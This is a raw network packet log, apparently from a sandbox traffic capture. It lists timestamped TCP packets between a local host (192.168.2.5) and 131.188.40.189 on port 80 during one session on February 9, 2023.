Feb 9, 2023 01:01:55.598874092 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598885059 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598901987 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598927975 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598929882 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598958015 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598983049 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598985910 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598985910 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.599009991 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.599035978 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.599059105 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.599061012 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.599087000 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.599087954 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.599116087 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.599132061 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.599143028 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.599169970 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.599196911 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.599209070 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.599225044 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.599246025 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.599252939 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.599282980 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.599292994 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.599313021 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.599339962 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.599368095 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.599379063 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.599396944 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.599420071 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.599426985 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.599467993 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.620481014 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620527983 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620557070 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620583057 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620598078 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.620621920 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620640039 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.620651007 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620676041 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620702982 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620726109 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.620729923 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620760918 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620786905 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.620788097 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620810986 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.620815039 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620842934 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620867014 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.620867014 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620893955 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620918989 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620934963 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.620945930 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620970011 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.620970964 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.620996952 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621021032 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621025085 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621052980 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621077061 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621092081 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621104002 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621129990 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621129990 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621156931 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621180058 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621181965 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621203899 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621229887 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621249914 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621256113 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621284008 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621284962 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621310949 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621334076 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621337891 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621365070 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621387959 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621412039 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621412992 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621436119 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621440887 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621467113 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621494055 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621494055 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621524096 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621548891 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621573925 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621576071 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621603012 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621617079 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621629953 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621655941 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621676922 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621680975 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621709108 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621716976 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621737003 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621757030 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621762037 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621792078 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621808052 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621819973 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621844053 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621865988 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621870041 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621896982 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621921062 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.621922970 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621948957 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621974945 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.621994972 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622000933 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622025967 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622028112 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622055054 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622067928 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622082949 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622107983 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622133017 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622145891 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622160912 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622179985 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622189045 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622215033 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622229099 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622241974 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622267962 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622292042 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622296095 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622322083 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622347116 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622360945 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622375011 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622401953 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622406006 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622426987 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622452021 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622452021 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622481108 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622492075 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622508049 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622533083 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622561932 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622575045 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622587919 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622611046 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622615099 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622646093 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622670889 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622713089 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622735977 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622762918 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622788906 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622797966 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622814894 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622817993 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622843981 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622868061 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622868061 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622896910 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622905016 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622926950 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622955084 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.622966051 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.622982979 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623008966 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623022079 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.623034954 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623059034 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623081923 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623095989 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.623111963 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623133898 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.623140097 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623169899 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623179913 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.623199940 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623228073 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623255968 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623265028 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.623285055 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623300076 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.623315096 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623344898 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623373032 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623383999 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.623409986 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623424053 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.623440981 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623470068 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623498917 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623509884 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.623528004 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623541117 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.623560905 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623589993 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623617887 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623640060 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.623645067 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623668909 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.623672962 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.623713970 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.624252081 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.644766092 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.644814014 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.644840956 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.644867897 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.644885063 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.644896030 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.644923925 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.644938946 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.644953966 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.644980907 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.644983053 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645013094 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645028114 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.645040989 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645067930 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645081043 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.645096064 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645122051 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645148039 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645162106 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.645176888 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645201921 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.645205021 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645232916 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645256996 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.645260096 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645287991 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645314932 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645330906 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.645342112 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645364046 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.645368099 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645391941 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645418882 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645428896 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.645446062 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645469904 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.645473957 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645513058 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645522118 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.645546913 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645579100 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645608902 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645637035 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.645637989 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645670891 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645673990 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.645701885 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645733118 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645756006 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.645764112 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645777941 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.645796061 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645827055 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645849943 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.645859003 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645890951 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645899057 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.645924091 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645956039 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645986080 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.645994902 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646019936 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646035910 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646051884 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646085024 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646116972 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646142006 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646146059 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646169901 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646193027 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646217108 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646241903 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646255016 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646267891 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646291018 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646291971 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646317959 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646339893 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646343946 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646372080 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646380901 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646403074 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646431923 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646460056 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646475077 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646490097 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646512032 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646519899 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646548986 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646555901 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646579027 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646608114 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646636963 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646646023 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646667004 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646677971 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646713972 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646745920 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646773100 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646784067 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646800995 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646814108 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646831036 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646858931 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646883965 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646904945 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646910906 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646936893 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646939039 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646961927 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.646970987 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.646987915 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647011995 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647033930 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.647036076 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647067070 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647094965 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647121906 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647125006 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.647125006 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.647149086 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.647152901 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647181988 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647195101 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.647211075 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647241116 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647265911 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.647269964 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647300959 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647310972 CET	49738	80	192.168.2.5	131.188.40.189
